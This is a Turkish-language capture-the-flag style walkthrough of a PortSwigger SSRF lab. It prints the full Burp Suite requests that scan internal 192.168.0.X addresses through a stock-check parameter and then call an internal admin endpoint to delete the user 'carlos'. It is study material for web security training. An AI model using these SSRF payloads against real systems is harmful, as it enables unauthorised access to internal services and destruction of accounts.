

Server-Side Request Forgery (SSRF)

Lab:PortSwigger

Senaryo: Başka bir back-end sisteme karşı temel SSRF

Çözüm Adımları: Bu laboratuvarın dahili bir sistemden veri çeken bir stok kontrol özelliği var.Laboratuvarı çözmek için, stok kontrol işlevini kullanarak dahili 192.168.0.X aralığı 8080 portunda bir yönetici arayüzü için tarayın, ardından carlos kullanıcısını silin.

Öncelikle web sitesinde stok kontrolü yapan sayfadaki isteği Burp Suite ile request değerini inceledim.

```
Request
Pretty Raw Hex
1 POST /product/stock HTTP/2
2 Host: 0a34008b03c1d2e58014cbd3009300d3.web-security-academy.net
3 Cookie: session=q7nKdRnAcBVxnfGenqxATIBpCoGg4Q2a
4 Content-Length: 96
5 Sec-Ch-Ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"
6 Content-Type: application/x-www-form-urlencoded
7 Sec-Ch-Ua-Mobile: ?0
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
9 Sec-Ch-Ua-Platform: "Windows"
10 Accept: */*
11 Origin: https://0a34008b03c1d2e58014cbd3009300d3.web-security-academy.net
12 Sec-Fetch-Site: same-origin
13 Sec-Fetch-Mode: cors
14 Sec-Fetch-Dest: empty
15 Referer: https://0a34008b03c1d2e58014cbd3009300d3.web-security-academy.net/product?productId=1
16 Accept-Encoding: gzip, deflate, br
17 Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
18 Priority: u=1, i
19
20 stockApi=http%3A%2F%2F192.168.0.1%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1
```

Bu laboratuvarda, dahili bir IP aralığında (192.168.0.X) çalışan bir yönetici arayüzüne (admin paneli) erişmeniz gerekiyor. Yönetici arayüzünün 8080 portunda çalıştığını biliyoruz.

```
Burp Suite Community Edition v2024.7.5 - Temporary Project
Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Learn JWT Editor
1 x 2 x +
Positions Payloads Resource pool Settings
Choose an attack type
Attack type: Sniper
Payload positions
Configure the positions where payloads will be inserted, they can be added into the target as well as the base request.
Target: https://0a34008b03c1d2e58014cbd3009300d3.web-security-academy.net
1 POST /product/stock HTTP/2
2 Host: 0a34008b03c1d2e58014cbd3009300d3.web-security-academy.net
3 Cookie: session=q7nKdRnAcBVxnfGenqxATIBpCoGg4Q2a
4 Content-Length: 96
5 Sec-Ch-Ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"
6 Content-Type: application/x-www-form-urlencoded
7 Sec-Ch-Ua-Mobile: ?0
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
9 Sec-Ch-Ua-Platform: "Windows"
10 Accept: */*
11 Origin: https://0a34008b03c1d2e58014cbd3009300d3.web-security-academy.net
12 Sec-Fetch-Site: same-origin
13 Sec-Fetch-Mode: cors
14 Sec-Fetch-Dest: empty
15 Referer: https://0a34008b03c1d2e58014cbd3009300d3.web-security-academy.net/product?productId=1
16 Accept-Encoding: gzip, deflate, br
17 Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
18 Priority: u=1, i
19
20 stockApi=http://192.168.0.1%3A8080/admin
```

Burp Suite Intruder kullanarak, **192.168.0.X:8080** IP aralığını brute force ile tarayarak doğru URL'yi buluyoruz.

Results

Positions

Payloads

Resource pool

Settings

Intruder attack results filter: Showing all items

Request	Payload	Status code ^	Response received	Error	Time
105	105	200	85		
0		400	86		
1	1	400	78		
2	2	500	84		
3	3	500	116		
4	4	500	119		
5	5	500	120		
6	6	500	120		

Request

Response

Pretty

Raw

Hex

```
POST /product/stock HTTP/2
Host: 0a34008b03c1d2e58014cbd3009300d3.web-security-academy.net
Cookie: session=q7nKdRNAtBVxfGenqxATIBpCoGg4Q2a
Content-Length: 40
Sec-Ch-Ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"
Content-Type: application/x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Accept: */*
Origin: https://0a34008b03c1d2e58014cbd3009300d3.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a34008b03c1d2e58014cbd3009300d3.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Priority: u=1, i
Connection: keep-alive

stockApi=http://192.168.0.105:8080/admin
```

Doğru URL'yi (admin panelini) bulduktan sonra, Burp Suite'teki stok kontrol isteğinde stockApi parametresine bu URL'yi veriyoruz ve isteği forward ederek sunucuya gönderiyoruz.

Request
Pretty
Raw
Hex
<pre> 1 POST /product/stock HTTP/2 2 Host: 0a34008b03c1d2e58014cbd3009300d3.web-security-academy.net 3 Cookie: session=q7nKdRNAtBVxfGenqxATIBpCoGg4Q2a 4 Content-Length: 96 5 Sec-Ch-Ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128" 6 Content-Type: application/x-www-form-urlencoded 7 Sec-Ch-Ua-Mobile: ?0 8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 9 Sec-Ch-Ua-Platform: "Windows" 10 Accept: */* 11 Origin: https://0a34008b03c1d2e58014cbd3009300d3.web-security-academy.net 12 Sec-Fetch-Site: same-origin 13 Sec-Fetch-Mode: cors 14 Sec-Fetch-Dest: empty 15 Referer: https://0a34008b03c1d2e58014cbd3009300d3.web-security-academy.net/product?productId=1 16 Accept-Encoding: gzip, deflate, br 17 Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7 18 Priority: u=1, i 19 20 stockApi=http://192.168.0.105:8080/admin/delete?username=carlos </pre>

Admin paneline erişim sağladıktan sonra, **carlos** kullanıcıasını siliyoruz ve laboratuvarı başarıyla tamamliyoruz. (<http://192.168.0.105:8080/admin/delete?username=carlos>)



Basic SSRF against another back-end system

[Back to lab description >>](#)

Congratulations, you solved the lab!